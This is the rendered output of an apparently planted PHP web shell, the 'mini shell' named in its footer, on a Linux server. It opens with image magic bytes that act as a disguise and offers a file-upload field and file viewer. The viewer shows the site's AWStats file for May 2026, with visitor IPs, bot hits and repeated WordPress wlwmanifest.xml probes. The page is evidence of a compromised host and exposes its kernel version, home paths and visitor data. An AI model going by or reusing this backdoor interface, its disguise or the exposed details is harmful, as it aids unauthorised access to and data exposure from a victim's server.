ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv1.eelservers.com 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64

Current Path : /home/mrstat/tmp/awstats/
Upload File :
Current File : /home/mrstat/tmp/awstats/awstats052026.mr-stat.com.txt

AWSTATS DATA FILE 8.0 (build 20240604)
# If you remove this file, all statistics for date 202605 will be lost/reset.
# Last config file used to build this data file was /home/mrstat/tmp/awstats/awstats.mr-stat.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2077                
POS_TIME 2755                
POS_VISITOR 6913                
POS_DAY 8241                
POS_DOMAIN 3488                
POS_LOGIN 3732                
POS_ROBOT 3887                
POS_WORMS 4486                
POS_EMAILSENDER 4617                
POS_EMAILRECEIVER 4760                
POS_SESSION 8661                
POS_FILESIZE 10441               
POS_REQUESTTIME 10564               
POS_SIDER 8808                
POS_FILETYPES 4895                
POS_DOWNLOADS 5017                
POS_OS 5085                
POS_BROWSER 5201                
POS_SCREENSIZE 5380                
POS_UNKNOWNREFERER 5454                
POS_UNKNOWNREFERERBROWSER 5709                
POS_ORIGIN 5856                
POS_SEREFERRALS 5990                
POS_PAGEREFS 6134                
POS_SEARCHWORDS 6282                
POS_KEYWORDS 6434                
POS_MISC 2419                
POS_ERRORS 6493                
POS_CLUSTER 3588                
POS_SIDER_404 6604                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20260601012249 14 2214 12175781368737
FirstTime 20260503041832
LastTime 20260529151411
LastUpdate 20260601110734 14 0 13 0 0
TotalVisits 28                  
TotalUnique 28                  
MonthHostsKnown 0                   
MonthHostsUnknown 28                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
DirectorSupport 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 29 34 209225
1 0 0 0 27 30 163923
2 12 12 1375124 31 41 23548
3 0 0 0 40 54 162918
4 44 44 5040810 58 73 162918
5 16 16 1833450 46 52 463555
6 0 0 66 51 65 486458
7 29 29 3322801 48 67 393690
8 17 17 1856756 45 76 388109
9 13 13 1398312 26 30 198
10 12 12 1374663 44 51 254871
11 16 16 1833423 35 45 69844
12 0 0 0 204 216 1506
13 13 13 947 309 315 66
14 0 0 0 130 140 24604
15 36 36 4125188 114 124 939
16 28 28 3271309 31 41 162918
17 18 18 1971323 44 56 115338
18 0 0 0 41 50 46408
19 2 2 46588 32 39 230593
20 0 0 0 33 39 142642
21 0 0 0 45 47 419182
22 0 0 0 33 34 47529
23 0 0 0 23 23 489996
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 2
us 243 243 27449615
ip 13 13 947
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 14
Googlebot/ 113 4421923 20260531072801 12
unknown 14 924 20260531023806 14
MJ12bot/ 8 528 20260527065052 8
AhrefsBot/ 5 330 20260530170822 5
Bytespider 4 264 20260530013834 4
nutch 3 198 20260528191844 3
facebookexternalhit/ 3 198 20260520060144 3
bingbot/ 2 23359 20260509201722 1
Pinterestbot 2 132 20260518125150 2
SemrushBot/ 1 66 20260522051827 1
link 1 66 20260519184555 1
robot 1 66 20260529001257 1
Applebot/ 1 66 20260504180342 1
crawl 1 66 20260507143200 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 3
html 5 116541 0 0
xml 238 27333074 0 0
Unknown 13 947 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/robots.txt 0 3 198
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 3
androidmarshmallow 1 1
Unknown 17 17
win10 238 238
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 6
chrome78.0.3904.108 34 34
chrome95.0.4638.69 108 108
Unknown 12 12
chrome88.0.4240.193 96 96
chrome148.0.7778.96 1 1
mozilla 5 5
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 3
Cpanel-HTTP-Client/1.0 20260521135348
GoogleOther 20260525174401
Mozilla/5.0_(compatible;_Let's_Encrypt_validation_server;__https://www.letsencrypt.org) 20260521135403
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
Cpanel-HTTP-Client/1.0 20260521135348
GoogleOther 20260525174401
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 256 256
From1 0 0
From2 0 0
From3 0 0
From4 0 0
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
403 38 11178
503 2 1614
500 1508 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 0
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 28
34.182.209.45 17 17 1948030 20260515172300
136.107.11.234 17 17 1947837 20260503072249
34.80.148.253 16 16 1833357 20260506163358
34.26.174.238 16 16 1833423 20260519110438
34.187.241.254 16 16 1832656 20260504045042
35.252.117.156 16 16 1833450 20260504050358
34.48.137.117 16 16 1833350 20260503041833
35.221.183.156 16 16 1833398 20260505084030
34.93.16.115 12 12 1374964 20260523075236
34.138.45.157 12 12 1374878 20260525090241
104.196.46.157 12 12 1374904 20260524153030
34.138.252.38 12 12 1375107 20260528152819
34.31.49.249 12 12 1375124 20260523024754
35.194.167.139 12 12 1375177 20260529151411
34.182.137.173 12 12 1374804 20260523040019
34.168.14.87 12 12 1437952 20260525162705
34.29.75.241 12 12 1374663 20260526103244
2a02:4780:2d:3039::1 8 8 512 20260521135348
66.249.66.69 1 1 23294 20260505190422
66.249.66.43 1 1 23293 20260525174401
66.249.66.203 1 1 23292 20260517080414
2406:da18:85:1401:8643:dfa8:aad9:c8c7 1 1 87 20260521135404
2a05:d016:39f:3100:dca3:ecc:4059:6150 1 1 87 20260521135403
2600:3000:2710:200::84 1 1 87 20260521135403
2600:1f16:269:da02:446b:666e:4e74:27c3 1 1 87 20260521135403
2600:1f14:804:fd00:9337:250c:fed1:e29 1 1 87 20260521135403
66.249.66.68 1 1 23368 20260520095252
66.249.66.67 1 1 23294 20260505190429
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 15
20260503 33 33 3781187 2
20260504 32 32 3666106 2
20260505 18 18 1879986 3
20260506 16 16 1833357 1
20260515 17 17 1948030 1
20260517 1 1 23292 1
20260519 16 16 1833489 1
20260520 1 1 23368 1
20260521 13 13 947 6
20260523 36 36 4124892 3
20260524 12 12 1374904 1
20260525 25 25 2836123 3
20260526 12 12 1374663 1
20260528 12 12 1375107 1
20260529 12 12 1375177 1
END_DAY

# Session range - Number of visits
BEGIN_SESSION 1
0s-30s 28
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 29
/2019/wp-includes/wlwmanifest.xml 17 1952900 0 0
/blog/wp-includes/wlwmanifest.xml 17 1953146 9 0
/web/wp-includes/wlwmanifest.xml 17 1953091 0 0
/wp/wp-includes/wlwmanifest.xml 17 1952937 0 0
/wordpress/wp-includes/wlwmanifest.xml 17 1953168 0 0
/site/wp-includes/wlwmanifest.xml 17 1953077 0 0
/shop/wp-includes/wlwmanifest.xml 17 1953057 0 0
/cms/wp-includes/wlwmanifest.xml 17 1952875 0 9
/wp1/wp-includes/wlwmanifest.xml 17 1953248 0 0
/test/wp-includes/wlwmanifest.xml 17 1952862 0 0
/2020/wp-includes/wlwmanifest.xml 15 1723952 0 0
/2021/wp-includes/wlwmanifest.xml 9 1036557 0 0
/wp-includes/wlwmanifest.xml 8 916738 8 0
/wp2/wp-includes/wlwmanifest.xml 8 916749 0 0
/news/wp-includes/wlwmanifest.xml 8 916799 0 0
/website/wp-includes/wlwmanifest.xml 8 916740 0 0
/sito/wp-includes/wlwmanifest.xml 8 916770 0 8
/.well-known/acme-challenge/AwlNgoOizbs8DhQD_HA5BWRttvpEVoSpReVgydXRMcE 5 435 5 5
/ 5 116541 5 5
/media/wp-includes/wlwmanifest.xml 2 229217 0 0
/2018/wp-includes/wlwmanifest.xml 2 229191 0 0
/.well-known/acme-challenge/FFPI-HMY3DJ5KCG73_2DU1WNHHRIJDH- 1 64 0 0
/.well-known/acme-challenge/UEQQ9V-JWGRWPMNPZ9YGJNLDN2CTKVDV 1 64 0 0
/.well-known/acme-challenge/8BGW-MY4QGAQ_77YHZN7ZFHXVSBSUI7I 1 64 1 0
/.well-known/acme-challenge/3P-X10OU1-AB3Q5C_C8PFS_FQEX0I7JO 1 64 0 0
/.well-known/acme-challenge/W6K1MPKERB1QM02HIDGQ8SA4XY300LH0 1 64 0 1
/.well-known/acme-challenge/8BMZ3-4-JUODM5WEQV6093XJPXWYCA67 1 64 0 0
/.well-known/acme-challenge/QS7OAV1YX4L2IJEN315Y0YSKU-DK1DSU 1 64 0 0
/.well-known/acme-challenge/76E1U-A89_53XHWPYCH-BZ7HLPD_-4EG 1 64 0 0
END_SIDER

# Payload Range - Payload Frequency
BEGIN_FILESIZE 5
0-44 1537
5K+ 345
500-1K 2
44-100 70
1K-2K 44
END_FILESIZE

# Request Time Range - Request Time Frequency
BEGIN_REQUESTTIME 0
END_REQUESTTIME

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST